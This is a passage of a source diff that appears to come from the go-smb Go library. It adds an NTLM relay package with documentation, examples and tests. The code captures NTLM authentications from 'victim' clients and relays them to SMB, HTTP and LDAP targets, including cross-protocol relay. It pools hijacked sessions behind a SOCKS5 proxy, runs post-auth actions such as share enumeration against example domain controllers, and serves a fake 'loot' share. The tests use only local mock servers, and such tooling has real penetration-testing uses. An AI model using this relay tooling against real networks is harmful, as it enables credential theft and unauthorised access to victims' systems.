relayLn, err := net.Listen("tcp", "127.0.0.1:0")
|
||||
if err != nil {
|
||||
t.Fatalf("listen relay: %v", err)
|
||||
}
|
||||
relayAddr := relayLn.Addr().(*net.TCPAddr)
|
||||
_ = relayLn.Close()
|
||||
|
||||
// RelayClient runs in a goroutine; the test client drives the inbound side.
|
||||
type relayResult struct {
|
||||
conn *smb.Connection
|
||||
cred *relay.Credential
|
||||
err error
|
||||
}
|
||||
relayCh := make(chan relayResult, 1)
|
||||
|
||||
var hookFired atomic.Bool
|
||||
go func() {
|
||||
c, cred, err := relay.RelayClient(relay.ClientConfig{
|
||||
ListenAddr: relayAddr.String(),
|
||||
Target: upAddr.String(),
|
||||
OnCredentialCaptured: func(_ *server.Conn, _ *relay.Credential) {
|
||||
hookFired.Store(true)
|
||||
},
|
||||
Timeout: 10 * time.Second,
|
||||
})
|
||||
relayCh <- relayResult{c, cred, err}
|
||||
}()
|
||||
|
||||
// Give the listener a moment to bind. The relay binds synchronously
|
||||
// inside RelayClient before its first auth-handler call; a tiny sleep
|
||||
// here keeps the test from racing the goroutine.
|
||||
if err := waitForListen(relayAddr.String(), 2*time.Second); err != nil {
|
||||
t.Fatalf("relay listener never came up: %v", err)
|
||||
}
|
||||
|
||||
// Drive an inbound client through the relay. Force SMB 2.1 to match the
|
||||
// relay listener's default cap.
|
||||
clientOpts := smb.Options{
|
||||
Host: relayAddr.IP.String(),
|
||||
Port: relayAddr.Port,
|
||||
User: user,
|
||||
Password: password,
|
||||
Domain: domain,
|
||||
Initiator: &spnego.NTLMInitiator{User: user, Password: password, Domain: domain},
|
||||
DisableSigning: true,
|
||||
DisableEncryption: true,
|
||||
ForceSMB2: true,
|
||||
DialTimeout: 2 * time.Second,
|
||||
}
|
||||
// We expect this to fail (capture-and-drop returns LogonFailure to the
|
||||
// relayed client) — but the upstream auth must have succeeded.
|
||||
_, _ = smb.NewConnection(clientOpts)
|
||||
|
||||
var rr relayResult
|
||||
select {
|
||||
case rr = <-relayCh:
|
||||
case <-time.After(10 * time.Second):
|
||||
t.Fatalf("RelayClient did not return within 10s")
|
||||
}
|
||||
if rr.err != nil {
|
||||
t.Fatalf("RelayClient: %v", rr.err)
|
||||
}
|
||||
if rr.conn == nil {
|
||||
t.Fatalf("RelayClient returned nil connection")
|
||||
}
|
||||
defer rr.conn.Close()
|
||||
|
||||
if rr.cred == nil {
|
||||
t.Fatalf("RelayClient returned nil Credential")
|
||||
}
|
||||
if rr.cred.Username != user {
|
||||
t.Errorf("Credential.Username: got %q want %q", rr.cred.Username, user)
|
||||
}
|
||||
if !hookFired.Load() {
|
||||
t.Errorf("OnCredentialCaptured did not fire")
|
||||
}
|
||||
|
||||
// The returned connection should be authenticated against the upstream.
|
||||
if err := rr.conn.TreeConnect(share); err != nil {
|
||||
t.Fatalf("TreeConnect on relayed connection: %v", err)
|
||||
}
|
||||
defer rr.conn.TreeDisconnect(share)
|
||||
}
|
||||
|
||||
// startUpstream is local to this test package so we don't depend on the
|
||||
// (unexported) helper in smb/server. Runs srv on an ephemeral port; returns
|
||||
// addr + shutdown.
|
||||
func startUpstream(t *testing.T, srv *server.Server) (*net.TCPAddr, func()) {
|
||||
t.Helper()
|
||||
l, err := net.Listen("tcp", "127.0.0.1:0")
|
||||
if err != nil {
|
||||
t.Fatalf("listen upstream: %v", err)
|
||||
}
|
||||
serveErr := make(chan error, 1)
|
||||
go func() { serveErr <- srv.Serve(l) }()
|
||||
return l.Addr().(*net.TCPAddr), func() {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
|
||||
defer cancel()
|
||||
_ = srv.Shutdown(ctx)
|
||||
if e := <-serveErr; e != nil && e != server.ErrServerClosed {
|
||||
t.Errorf("upstream Serve: %v", e)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// waitForListen polls addr until a Dial succeeds or timeout elapses.
|
||||
func waitForListen(addr string, timeout time.Duration) error {
|
||||
deadline := time.Now().Add(timeout)
|
||||
for {
|
||||
c, err := net.DialTimeout("tcp", addr, 200*time.Millisecond)
|
||||
if err == nil {
|
||||
c.Close()
|
||||
return nil
|
||||
}
|
||||
if time.Now().After(deadline) {
|
||||
return err
|
||||
}
|
||||
time.Sleep(20 * time.Millisecond)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
// MIT License
|
||||
//
|
||||
// Copyright (c) 2026 Jimmy Fjällid
|
||||
//
|
||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
// of this software and associated documentation files (the "Software"), to deal
|
||||
// in the Software without restriction, including without limitation the rights
|
||||
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
// copies of the Software, and to permit persons to whom the Software is
|
||||
// furnished to do so, subject to the following conditions:
|
||||
//
|
||||
// The above copyright notice and this permission notice shall be included in all
|
||||
// copies or substantial portions of the Software.
|
||||
//
|
||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
// SOFTWARE.
|
||||
|
||||
package relay
|
||||
|
||||
import (
|
||||
"net"
|
||||
|
||||
"github.com/jfjallid/go-smb/ntlmssp"
|
||||
"github.com/jfjallid/go-smb/smb/server"
|
||||
)
|
||||
|
||||
// Credential is a captured NTLM authentication attempt. It is a re-export of
|
||||
// server.Credential so callers of relay/ don't need to import smb/server
|
||||
// directly.
|
||||
type Credential = server.Credential
|
||||
|
||||
// BuildCredential assembles a Credential from a parsed NTLMSSP Authenticate
|
||||
// message and the server-side challenge that was actually used during the
|
||||
// upstream exchange. The remote address is plumbed onto the Credential for
|
||||
// attribution. Cross-protocol relay uses this directly; both forwarder
|
||||
// backends share the same code path.
|
||||
func BuildCredential(remote net.Addr, auth *ntlmssp.Authenticate, chal [8]byte) *Credential {
|
||||
return buildCredentialFromAuth(auth, chal, remote)
|
||||
}
|
||||
@@ -0,0 +1,185 @@
|
||||
// MIT License
|
||||
//
|
||||
// Copyright (c) 2026 Jimmy Fjällid
|
||||
|
||||
package relay_test
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/jfjallid/go-smb/ntlmssp"
|
||||
"github.com/jfjallid/go-smb/relay"
|
||||
"github.com/jfjallid/go-smb/smb"
|
||||
"github.com/jfjallid/go-smb/smb/server"
|
||||
"github.com/jfjallid/go-smb/smb/server/memvfs"
|
||||
"github.com/jfjallid/go-smb/spnego"
|
||||
)
|
||||
|
||||
// TestCrossProtocolHTTPInboundToSMBUpstream verifies that an HTTP-inbound NTLM
|
||||
// authentication can be relayed onto an SMB upstream. The relay's HTTP
|
||||
// listener is the inbound side, an SMB server is the upstream, and the unified
|
||||
// Targets list contains a single smb:// entry — the HTTP listener must
|
||||
// successfully dispatch onto a forwarder that speaks SMB.
|
||||
func TestCrossProtocolHTTPInboundToSMBUpstream(t *testing.T) {
|
||||
const (
|
||||
user = "alice"
|
||||
password = "Hunter2!"
|
||||
domain = "WORKGROUP"
|
||||
share = "test"
|
||||
)
|
||||
ntHash := ntlmssp.Ntowfv1(password)
|
||||
|
||||
up := &server.Server{
|
||||
Config: &server.ServerConfig{
|
||||
Authenticator: &server.MapAuthenticator{
|
||||
Domain: domain,
|
||||
Accounts: map[string]*server.Account{user: {NTHash: ntHash}},
|
||||
},
|
||||
},
|
||||
}
|
||||
up.RegisterShare(share, server.Share{Type: smb.ShareTypeDisk, VFS: memvfs.New(memvfs.Options{})})
|
||||
upL, err := net.Listen("tcp", "127.0.0.1:0")
|
||||
if err != nil {
|
||||
t.Fatalf("listen upstream: %v", err)
|
||||
}
|
||||
upCh := make(chan error, 1)
|
||||
go func() { upCh <- up.Serve(upL) }()
|
||||
defer func() {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
|
||||
defer cancel()
|
||||
_ = up.Shutdown(ctx)
|
||||
<-upCh
|
||||
}()
|
||||
upAddr := upL.Addr().(*net.TCPAddr)
|
||||
|
||||
var (
|
||||
credsMu sync.Mutex
|
||||
creds []*relay.Credential
|
||||
)
|
||||
|
||||
rs := &relay.RelayServer{
|
||||
Config: relay.ServerConfig{
|
||||
HTTPListenAddr: "127.0.0.1:0",
|
||||
Targets: []string{"smb://" + upAddr.String()},
|
||||
OnCredentialCaptured: func(_ *server.Conn, c *relay.Credential) {
|
||||
credsMu.Lock()
|
||||
creds = append(creds, c)
|
||||
credsMu.Unlock()
|
||||
},
|
||||
},
|
||||
}
|
||||
if err := rs.Start(); err != nil {
|
||||
t.Fatalf("RelayServer.Start: %v", err)
|
||||
}
|
||||
defer func() {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
|
||||
defer cancel()
|
||||
_ = rs.Shutdown(ctx)
|
||||
}()
|
||||
|
||||
// Drive an inbound NTLM-over-HTTP exchange. The victim's NTLM client
|
||||
// produces a NEGOTIATE/AUTHENTICATE pair valid against the SMB upstream
|
||||
// (NTLM is portable between transports).
|
||||
relayAddr := rs.HTTPAddr().(*net.TCPAddr).String()
|
||||
if status := driveHTTPNTLMVictim(t, relayAddr, user, password, domain); status != 401 {
|
||||
t.Errorf("victim final status = %d, want 401 (capture-and-drop)", status)
|
||||
}
|
||||
|
||||
if !waitFor(2*time.Second, func() bool { return len(rs.Snapshot()) >= 1 }) {
|
||||
t.Fatalf("cross-protocol HTTP→SMB never pooled (have %d)", len(rs.Snapshot()))
|
||||
}
|
||||
snap := rs.Snapshot()[0]
|
||||
if snap.Target != upAddr.String() {
|
||||
t.Errorf("pool entry target = %q, want %q", snap.Target, upAddr.String())
|
||||
}
|
||||
|
||||
credsMu.Lock()
|
||||
defer credsMu.Unlock()
|
||||
if len(creds) == 0 {
|
||||
t.Fatalf("OnCredentialCaptured never fired")
|
||||
}
|
||||
if creds[0].Username != user || creds[0].Domain != domain {
|
||||
t.Errorf("cred = %s\\%s, want %s\\%s", creds[0].Domain, creds[0].Username, domain, user)
|
||||
}
|
||||
}
|
||||
|
||||
// TestCrossProtocolSMBInboundToHTTPUpstream verifies that an SMB-inbound NTLM
|
||||
// authentication can be relayed onto an HTTP upstream. The relay's SMB
|
||||
// listener is the inbound side, a mock NTLM HTTP server is the upstream, and
|
||||
// the unified Targets list contains a single http:// entry — the SMB listener
|
||||
// must successfully dispatch onto an HTTP forwarder.
|
||||
func TestCrossProtocolSMBInboundToHTTPUpstream(t *testing.T) {
|
||||
const (
|
||||
user = "bob"
|
||||
password = "Hunter2!"
|
||||
domain = "WORKGROUP"
|
||||
)
|
||||
up := newNtlmHTTPUpstream(t, user, domain, []byte("relay ok"))
|
||||
defer up.Stop()
|
||||
|
||||
var (
|
||||
credsMu sync.Mutex
|
||||
creds []*relay.Credential
|
||||
)
|
||||
|
||||
rs := &relay.RelayServer{
|
||||
Config: relay.ServerConfig{
|
||||
ListenAddr: "127.0.0.1:0",
|
||||
Targets: []string{"http://" + up.Addr()},
|
||||
OnCredentialCaptured: func(_ *server.Conn, c *relay.Credential) {
|
||||
credsMu.Lock()
|
||||
creds = append(creds, c)
|
||||
credsMu.Unlock()
|
||||
},
|
||||
},
|
||||
}
|
||||
if err := rs.Start(); err != nil {
|
||||
t.Fatalf("RelayServer.Start: %v", err)
|
||||
}
|
||||
defer func() {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
|
||||
defer cancel()
|
||||
_ = rs.Shutdown(ctx)
|
||||
}()
|
||||
relayAddr := rs.SMBAddr().(*net.TCPAddr)
|
||||
|
||||
// Drive an inbound SMB auth — the victim is an ordinary go-smb client.
|
||||
// capture-and-drop returns an error to the client; we ignore it.
|
||||
bait := smb.Options{
|
||||
Host: relayAddr.IP.String(),
|
||||
Port: relayAddr.Port,
|
||||
User: user,
|
||||
Password: password,
|
||||
Domain: domain,
|
||||
Initiator: &spnego.NTLMInitiator{User: user, Password: password, Domain: domain},
|
||||
DisableSigning: true,
|
||||
DisableEncryption: true,
|
||||
ForceSMB2: true,
|
||||
DialTimeout: 2 * time.Second,
|
||||
}
|
||||
_, _ = smb.NewConnection(bait)
|
||||
|
||||
if !waitFor(2*time.Second, func() bool { return len(rs.Snapshot()) >= 1 }) {
|
||||
t.Fatalf("cross-protocol SMB→HTTP never pooled (have %d)", len(rs.Snapshot()))
|
||||
}
|
||||
snap := rs.Snapshot()[0]
|
||||
if snap.Target != up.Addr() {
|
||||
t.Errorf("pool entry target = %q, want %q", snap.Target, up.Addr())
|
||||
}
|
||||
if up.authedConns.Load() == 0 {
|
||||
t.Errorf("HTTP upstream never saw a successful AUTHENTICATE")
|
||||
}
|
||||
|
||||
credsMu.Lock()
|
||||
defer credsMu.Unlock()
|
||||
if len(creds) == 0 {
|
||||
t.Fatalf("OnCredentialCaptured never fired")
|
||||
}
|
||||
if creds[0].Username != user || creds[0].Domain != domain {
|
||||
t.Errorf("cred = %s\\%s, want %s\\%s", creds[0].Domain, creds[0].Username, domain, user)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,74 @@
|
||||
// MIT License
|
||||
//
|
||||
// Copyright (c) 2026 Jimmy Fjällid
|
||||
//
|
||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
// of this software and associated documentation files (the "Software"), to deal
|
||||
// in the Software without restriction, including without limitation the rights
|
||||
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
// copies of the Software, and to permit persons to whom the Software is
|
||||
// furnished to do so, subject to the following conditions:
|
||||
//
|
||||
// The above copyright notice and this permission notice shall be included in all
|
||||
// copies or substantial portions of the Software.
|
||||
//
|
||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
// SOFTWARE.
|
||||
|
||||
// Package relay provides NTLMSSP relay functionality on top of the
|
||||
// smb/server SMB listener and the smb/client. It currently exposes:
|
||||
//
|
||||
// - RelayClient: a one-shot listener that accepts a single inbound auth,
|
||||
// forwards it to a configured target, and returns the resulting
|
||||
// authenticated *smb.Connection. Replacement for the legacy
|
||||
// smb.NewRelayConnection.
|
||||
// - RelayServer: a long-running multi-target listener with a pooled
|
||||
// session cache, optional SOCKS5 proxy that exposes the pool to local
|
||||
// tools, and post-auth actions. Inbound SMB and HTTP listeners share one
|
||||
// unified ServerConfig.Targets list (scheme-prefixed: smb://, http://,
|
||||
// https://, ldap://, ldaps://) — any inbound listener can route to any
|
||||
// upstream protocol, so HTTP-to-SMB and SMB-to-HTTP relay both work
|
||||
// out of the box.
|
||||
// - SMBPassthrough / HTTPPassthrough / LDAPPassthrough: SOCKS-fronted
|
||||
// raw-PDU forwarders for pooled upstreams.
|
||||
//
|
||||
// # Configuration knobs
|
||||
//
|
||||
// Most of ServerConfig is read once at Start(). Three behaviors are
|
||||
// mutable on a running server:
|
||||
//
|
||||
// - StripMechListMIC — toggle via [RelayServer.SetStripMechListMIC]
|
||||
// - HealthCheckOnSelect — toggle via [RelayServer.SetHealthCheckOnSelect]
|
||||
// - SelectTarget — replace via [RelayServer.SetSelectTarget]
|
||||
//
|
||||
// Other fields take their Start()-time value.
|
||||
//
|
||||
// # Captured credentials
|
||||
//
|
||||
// Each successful inbound auth produces a [CapturedAuth] record with the
|
||||
// upstream relay status (CaptureStatusRelayed, CaptureStatusUpstreamRejected,
|
||||
// CaptureStatusRelayFailed). Records flow through two channels:
|
||||
//
|
||||
// - [ServerConfig.OnCapture] fires once per finalized record — ideal for
|
||||
// streaming captures to a file or external system.
|
||||
// - [RelayServer.CapturedCredentials] returns a snapshot of an in-memory
|
||||
// FIFO ring buffer (sized via ServerConfig.CaptureBufferSize, default
|
||||
// 1024) for ad-hoc inspection.
|
||||
//
|
||||
// # Cross-protocol caveat
|
||||
//
|
||||
// When relaying TYPE_2 (CHALLENGE) from one transport to a victim on
|
||||
// another, the TargetName/TargetInfo AV pairs reflect the upstream
|
||||
// service. EPA-strict clients may abort. Strip-mic (via
|
||||
// ServerConfig.StripMechListMIC) opts out of MechListMIC pass-through for
|
||||
// upstreams that re-derive the MIC themselves.
|
||||
package relay
|
||||
|
||||
import "github.com/jfjallid/golog"
|
||||
|
||||
var log = golog.Get("github.com/jfjallid/go-smb/relay").SetDisplayName("relay")
|
||||
@@ -0,0 +1,78 @@
|
||||
// MIT License
|
||||
//
|
||||
// Copyright (c) 2026 Jimmy Fjällid
|
||||
|
||||
package relay_test
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
"github.com/jfjallid/go-smb/relay"
|
||||
"github.com/jfjallid/go-smb/smb"
|
||||
)
|
||||
|
||||
// ExampleRelayServer shows the minimum configuration: one SMB target, an
|
||||
// SMB inbound listener on the default port, and an OnCapture hook that
|
||||
// receives one finalized record per inbound auth — no separate
|
||||
// OnCredentialCaptured/OnRelaySuccess correlation needed.
|
||||
//
|
||||
// Bind to ":0" (or pass -listen) for tests/labs to avoid the privileged
|
||||
// port :445.
|
||||
func ExampleRelayServer() {
|
||||
rs := &relay.RelayServer{
|
||||
Config: relay.ServerConfig{
|
||||
Targets: []string{"smb://10.0.0.5"},
|
||||
ListenAddr: ":0",
|
||||
OnCapture: func(c relay.CapturedAuth) {
|
||||
fmt.Printf("captured %s\\%s status=%s\n", c.Domain, c.Username, c.Status)
|
||||
},
|
||||
},
|
||||
}
|
||||
if err := rs.Start(); err != nil {
|
||||
// In a real program: handle the error; we just exit the example.
|
||||
return
|
||||
}
|
||||
defer func() {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), time.Second)
|
||||
defer cancel()
|
||||
_ = rs.Shutdown(ctx)
|
||||
}()
|
||||
|
||||
// In a real workflow you'd block here (signal handler, REPL) while
|
||||
// captures stream in. Example exits immediately.
|
||||
}
|
||||
|
||||
// ExampleRelayServer_socks demonstrates exposing the captured pool through
|
||||
// a local SOCKS5 proxy. Tools that dial through 127.0.0.1:1080 piggyback
|
||||
// the corresponding pooled SMB/HTTP/LDAP session.
|
||||
func ExampleRelayServer_socks() {
|
||||
rs := &relay.RelayServer{
|
||||
Config: relay.ServerConfig{
|
||||
Targets: []string{"smb://dc01"},
|
||||
ListenAddr: ":0",
|
||||
SocksAddr: "127.0.0.1:0",
|
||||
},
|
||||
}
|
||||
_ = rs.Start
|
||||
_ = rs.Shutdown
|
||||
}
|
||||
|
||||
// ExampleRelayServer_postAuth runs an EnumShares action against each
|
||||
// upstream session immediately after a successful relay.
|
||||
func ExampleRelayServer_postAuth() {
|
||||
rs := &relay.RelayServer{
|
||||
Config: relay.ServerConfig{
|
||||
Targets: []string{"smb://dc01"},
|
||||
ListenAddr: ":0",
|
||||
PostAuthActions: []relay.PostAuthAction{
|
||||
relay.EnumSharesAction{},
|
||||
},
|
||||
OnRelaySuccess: func(target string, _ *smb.Connection, cred *relay.Credential) {
|
||||
fmt.Println("relayed to", target, "as", cred.Username)
|
||||
},
|
||||
},
|
||||
}
|
||||
_ = rs
|
||||
}
|
||||
@@ -0,0 +1,260 @@
|
||||
// MIT License
|
||||
//
|
||||
// Copyright (c) 2026 Jimmy Fjällid
|
||||
|
||||
package relay_test
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io"
|
||||
"net"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/jfjallid/go-smb/ntlmssp"
|
||||
"github.com/jfjallid/go-smb/relay"
|
||||
"github.com/jfjallid/go-smb/smb"
|
||||
"github.com/jfjallid/go-smb/smb/server"
|
||||
"github.com/jfjallid/go-smb/smb/server/memvfs"
|
||||
"github.com/jfjallid/go-smb/spnego"
|
||||
)
|
||||
|
||||
// TestFakeServerRoundTrip stands up an upstream SMB server, points a
|
||||
// RelayServer at it with FakeServer enabled against a temp directory, and
|
||||
// drives a victim SMB client through the relay. After the upstream relay
|
||||
// succeeds the relay must answer the victim with StatusOk + SessionFlagIsGuest
|
||||
// instead of the capture-and-drop StatusLogonFailure; the victim then
|
||||
// TreeConnects to the configured fake share, writes a file, reads it back,
|
||||
// and the on-disk root reflects the write.
|
||||
func TestFakeServerRoundTrip(t *testing.T) {
|
||||
const (
|
||||
user = "victim"
|
||||
password = "P@ssw0rd!"
|
||||
domain = "WORKGROUP"
|
||||
upShare = "test"
|
||||
)
|
||||
ntHash := ntlmssp.Ntowfv1(password)
|
||||
|
||||
up := &server.Server{
|
||||
Config: &server.ServerConfig{
|
||||
Authenticator: &server.MapAuthenticator{
|
||||
Domain: domain,
|
||||
Accounts: map[string]*server.Account{user: {NTHash: ntHash}},
|
||||
},
|
||||
},
|
||||
}
|
||||
up.RegisterShare(upShare, server.Share{Type: smb.ShareTypeDisk, VFS: memvfs.New(memvfs.Options{})})
|
||||
upL, err := net.Listen("tcp", "127.0.0.1:0")
|
||||
if err != nil {
|
||||
t.Fatalf("listen upstream: %v", err)
|
||||
}
|
||||
upCh := make(chan error, 1)
|
||||
go func() { upCh <- up.Serve(upL) }()
|
||||
defer func() {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
|
||||
defer cancel()
|
||||
_ = up.Shutdown(ctx)
|
||||
<-upCh
|
||||
}()
|
||||
|
||||
fakeRoot := t.TempDir()
|
||||
rs := &relay.RelayServer{
|
||||
Config: relay.ServerConfig{
|
||||
ListenAddr: "127.0.0.1:0",
|
||||
Targets: []string{"smb://" + upL.Addr().String()},
|
||||
FakeServer: &relay.FakeServerOptions{
|
||||
ShareName: "loot",
|
||||
Root: fakeRoot,
|
||||
},
|
||||
},
|
||||
}
|
||||
if err := rs.Start(); err != nil {
|
||||
t.Fatalf("RelayServer.Start: %v", err)
|
||||
}
|
||||
defer func() {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
|
||||
defer cancel()
|
||||
_ = rs.Shutdown(ctx)
|
||||
}()
|
||||
relayAddr := rs.SMBAddr().(*net.TCPAddr)
|
||||
|
||||
opts := smb.Options{
|
||||
Host: relayAddr.IP.String(),
|
||||
Port: relayAddr.Port,
|
||||
User: user,
|
||||
Password: password,
|
||||
Domain: domain,
|
||||
Initiator: &spnego.NTLMInitiator{User: user, Password: password, Domain: domain},
|
||||
DisableSigning: true,
|
||||
DisableEncryption: true,
|
||||
ForceSMB2: true,
|
||||
DialTimeout: 2 * time.Second,
|
||||
}
|
||||
conn, err := smb.NewConnection(opts)
|
||||
if err != nil {
|
||||
t.Fatalf("victim NewConnection: %v", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
if !conn.IsGuestSession() {
|
||||
t.Errorf("expected guest session flag on victim connection, got false")
|
||||
}
|
||||
|
||||
if !waitFor(2*time.Second, func() bool { return len(rs.Snapshot()) >= 1 }) {
|
||||
t.Fatalf("upstream session never pooled (have %d)", len(rs.Snapshot()))
|
||||
}
|
||||
|
||||
if err := conn.TreeConnect("loot"); err != nil {
|
||||
t.Fatalf("victim TreeConnect %q: %v", "loot", err)
|
||||
}
|
||||
defer conn.TreeDisconnect("loot")
|
||||
|
||||
body := []byte("planted by victim via fake server\n")
|
||||
off := 0
|
||||
if err := conn.PutFile("loot", "drop.txt", 0, func(buf []byte) (int, error) {
|
||||
if off >= len(body) {
|
||||
return 0, io.EOF
|
||||
}
|
||||
n := copy(buf, body[off:])
|
||||
off += n
|
||||
return n, nil
|
||||
}); err != nil {
|
||||
t.Fatalf("victim PutFile: %v", err)
|
||||
}
|
||||
|
||||
var got []byte
|
||||
if err := conn.RetrieveFile("loot", "drop.txt", 0, func(b []byte) (int, error) {
|
||||
got = append(got, b...)
|
||||
return len(b), nil
|
||||
}); err != nil {
|
||||
t.Fatalf("victim RetrieveFile: %v", err)
|
||||
}
|
||||
if string(got) != string(body) {
|
||||
t.Errorf("RetrieveFile body=%q want %q", got, body)
|
||||
}
|
||||
|
||||
// The file must exist on disk at the configured root.
|
||||
onDisk, err := os.ReadFile(filepath.Join(fakeRoot, "drop.txt"))
|
||||
if err != nil {
|
||||
t.Fatalf("read on-disk drop.txt: %v", err)
|
||||
}
|
||||
if string(onDisk) != string(body) {
|
||||
t.Errorf("on-disk drop.txt=%q want %q", onDisk, body)
|
||||
}
|
||||
}
|
||||
|
||||
// TestFakeServerReadOnly verifies that -fake-server-read-only=true blocks
|
||||
// writes (the victim's TreeConnect still succeeds, but PutFile fails with
|
||||
// access denied).
|
||||
func TestFakeServerReadOnly(t *testing.T) {
|
||||
const (
|
||||
user = "victim"
|
||||
password = "P@ssw0rd!"
|
||||
domain = "WORKGROUP"
|
||||
upShare = "test"
|
||||
)
|
||||
ntHash := ntlmssp.Ntowfv1(password)
|
||||
|
||||
up := &server.Server{
|
||||
Config: &server.ServerConfig{
|
||||
Authenticator: &server.MapAuthenticator{
|
||||
Domain: domain,
|
||||
Accounts: map[string]*server.Account{user: {NTHash: ntHash}},
|
||||
},
|
||||
},
|
||||
}
|
||||
up.RegisterShare(upShare, server.Share{Type: smb.ShareTypeDisk, VFS: memvfs.New(memvfs.Options{})})
|
||||
upL, err := net.Listen("tcp", "127.0.0.1:0")
|
||||
if err != nil {
|
||||
t.Fatalf("listen upstream: %v", err)
|
||||
}
|
||||
upCh := make(chan error, 1)
|
||||
go func() { upCh <- up.Serve(upL) }()
|
||||
defer func() {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
|
||||
defer cancel()
|
||||
_ = up.Shutdown(ctx)
|
||||
<-upCh
|
||||
}()
|
||||
|
||||
fakeRoot := t.TempDir()
|
||||
// Pre-seed a readable file so we can exercise read access on the share.
|
||||
if err := os.WriteFile(filepath.Join(fakeRoot, "seed.txt"), []byte("seeded"), 0o644); err != nil {
|
||||
t.Fatalf("seed file: %v", err)
|
||||
}
|
||||
|
||||
rs := &relay.RelayServer{
|
||||
Config: relay.ServerConfig{
|
||||
ListenAddr: "127.0.0.1:0",
|
||||
Targets: []string{"smb://" + upL.Addr().String()},
|
||||
FakeServer: &relay.FakeServerOptions{
|
||||
ShareName: "loot",
|
||||
Root: fakeRoot,
|
||||
ReadOnly: true,
|
||||
},
|
||||
},
|
||||
}
|
||||
if err := rs.Start(); err != nil {
|
||||
t.Fatalf("RelayServer.Start: %v", err)
|
||||
}
|
||||
defer func() {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
|
||||
defer cancel()
|
||||
_ = rs.Shutdown(ctx)
|
||||
}()
|
||||
relayAddr := rs.SMBAddr().(*net.TCPAddr)
|
||||
|
||||
opts := smb.Options{
|
||||
Host: relayAddr.IP.String(),
|
||||
Port: relayAddr.Port,
|
||||
User: user,
|
||||
Password: password,
|
||||
Domain: domain,
|
||||
Initiator: &spnego.NTLMInitiator{User: user, Password: password, Domain: domain},
|
||||
DisableSigning: true,
|
||||
DisableEncryption: true,
|
||||
ForceSMB2: true,
|
||||
DialTimeout: 2 * time.Second,
|
||||
}
|
||||
conn, err := smb.NewConnection(opts)
|
||||
if err != nil {
|
||||
t.Fatalf("victim NewConnection: %v", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
if err := conn.TreeConnect("loot"); err != nil {
|
||||
t.Fatalf("victim TreeConnect: %v", err)
|
||||
}
|
||||
defer conn.TreeDisconnect("loot")
|
||||
|
||||
// Read the seed file: must succeed.
|
||||
var got []byte
|
||||
if err := conn.RetrieveFile("loot", "seed.txt", 0, func(b []byte) (int, error) {
|
||||
got = append(got, b...)
|
||||
return len(b), nil
|
||||
}); err != nil {
|
||||
t.Fatalf("victim RetrieveFile seed.txt: %v", err)
|
||||
}
|
||||
if string(got) != "seeded" {
|
||||
t.Errorf("seed.txt body=%q want %q", got, "seeded")
|
||||
}
|
||||
|
||||
// Write attempt: must fail. filevfs.ReadOnly returns StatusAccessDenied
|
||||
// on Create with write intent, which smb.PutFile surfaces as an error.
|
||||
body := []byte("should not land")
|
||||
off := 0
|
||||
err = conn.PutFile("loot", "nope.txt", 0, func(buf []byte) (int, error) {
|
||||
if off >= len(body) {
|
||||
return 0, io.EOF
|
||||
}
|
||||
n := copy(buf, body[off:])
|
||||
off += n
|
||||
return n, nil
|
||||
})
|
||||
if err == nil {
|
||||
t.Errorf("PutFile on read-only fake share unexpectedly succeeded")
|
||||
}
|
||||
if _, statErr := os.Stat(filepath.Join(fakeRoot, "nope.txt")); statErr == nil {
|
||||
t.Errorf("read-only fake share leaked write to disk at nope.txt")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,173 @@
|
||||
// MIT License
|
||||
//
|
||||
// Copyright (c) 2026 Jimmy Fjällid
|
||||
//
|
||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
// of this software and associated documentation files (the "Software"), to deal
|
||||
